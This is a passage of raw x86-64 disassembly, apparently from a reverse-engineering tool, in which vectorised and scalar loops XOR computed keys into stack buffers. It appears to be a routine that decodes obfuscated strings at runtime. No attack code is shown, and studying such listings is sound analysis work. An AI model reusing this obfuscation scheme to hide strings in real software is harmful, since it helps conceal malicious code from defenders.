punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add ebx, 8
pshufd xmm2, xmm1, 0xd8
mov eax, ebx
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp ebx, 0x28
jl 0x140262e40
cmp eax, 0x2c
jge 0x14026305a
movsxd rax, ebx
lea r9, [rsp + 0x68]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb13b13b1
imul ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
sub cl, r8b
add cl, 0x23
add cl, bl
inc ebx
add cl, cl
xor byte [r9 - 1], cl
cmp ebx, 0x2c
jl 0x140263010
lea rcx, [rsp + 0x68]
call fcn.1401e4400
mov al, 1
jmp 0x1402635b9
movzx eax, word [0x14029cf20]
mov word [rsp + 0x60], ax
movzx eax, byte [0x14029cf22]
mov byte [rsp + 0x62], al
movups xmm0, xmmword [0x14029cf10]
movups xmmword [rsp + 0x50], xmm0
cmp esi, 2
jl 0x1402632ae
movdqa xmm0, xmmword [0x14029d870]
lea rcx, [rsp + 0x54]
movdqa xmm9, xmmword [0x14029d7a0]
movdqa xmm6, xmmword [0x14029d880]
movdqa xmm7, xmmword [0x14029d890]
movdqa xmm12, xmmword [0x14029d8b0]
movdqa xmm13, xmmword [0x14029d7e0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop dword [rax + rax]
movd xmm5, ebx
lea eax, [rbx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add ebx, 8
pshufd xmm2, xmm1, 0xd8
mov eax, ebx
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp ebx, 0x10
jl 0x1402630f0
cmp eax, 0x13
jge 0x14026330a
movsxd rax, ebx
lea r9, [rsp + 0x50]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb13b13b1
imul ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
sub cl, r8b
add cl, 0x23
add cl, bl
inc ebx
add cl, cl
xor byte [r9 - 1], cl
cmp ebx, 0x13
jl 0x1402632c0
lea rcx, [rsp + 0x50]
call fcn.1401e4400
mov rdx, qword [rbp - 0x50]
jmp 0x140260eaa
movups xmm1, xmmword [0x14029cd68]
movups xmm0, xmmword [0x14029cd58]
movups xmmword [rsp + 0x78], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
movups xmmword [rsp + 0x68], xmm0
test al, al
je 0x1402635aa
cmp esi, 2
jl 0x140263559
movdqa xmm0, xmmword [0x14029d870]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x14029d7a0]
movdqa xmm6, xmmword [0x14029d880]
movdqa xmm7, xmmword [0x14029d890]
movdqa xmm12, xmmword [0x14029d8b0]
movdqa xmm13, xmmword [0x14029d7e0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
movd xmm5, ebx
lea eax, [rbx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
psrad xmm4, xmm10
movdqa xmm1, xmm2
movdqa xmm0, xmm5
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm4, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm4, xmm5
pmuldq xmm0, xmm6
movdqa xmm2, xmm4
pmuldq xmm1, xmm7
pmuldq xmm4, xmm7
pmuldq xmm2, xmm6
shufps xmm4, xmm1, 0xdd
shufps xmm2, xmm0, 0xdd
psubd xmm4, xmm5
psrad xmm2, xmm10
movdqa xmm0, xmm5
psrad xmm4, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add ebx, 8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp ebx, 0x20
jl 0x1402633a0
jmp 0x1402635aa
lea r9, [rsp + 0x68]
nop
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb13b13b1
imul ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
sub cl, r8b
add cl, 0x23
add cl, bl
inc ebx
add cl, cl
xor byte [r9 - 1], cl
cmp ebx, 0x20
jl 0x140263560
mov edx, r10d
lea rcx, [rsp + 0x68]
call fcn.1401e4400
xor al, al
mov rsi, qword [rsp + 0x240]
mov rdi, qword [rsp + 0x1f0]
mov rcx, qword [rbp + 0x60]
xor rcx, rsp
call fcn.14026b460
lea r11, [rsp + 0x1f8]
movaps xmm6, xmmword [r11 - 0x18]
movaps xmm7, xmmword [r11 - 0x28]
movaps xmm8, xmmword [r11 - 0x38]
movaps xmm9, xmmword [r11 - 0x48]
movaps xmm10, xmmword [r11 - 0x58]
movaps xmm11, xmmword [r11 - 0x68]
movaps xmm12, xmmword [r11 - 0x78]
movaps xmm13, xmmword [r11 - 0x88]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbx
pop rbp
ret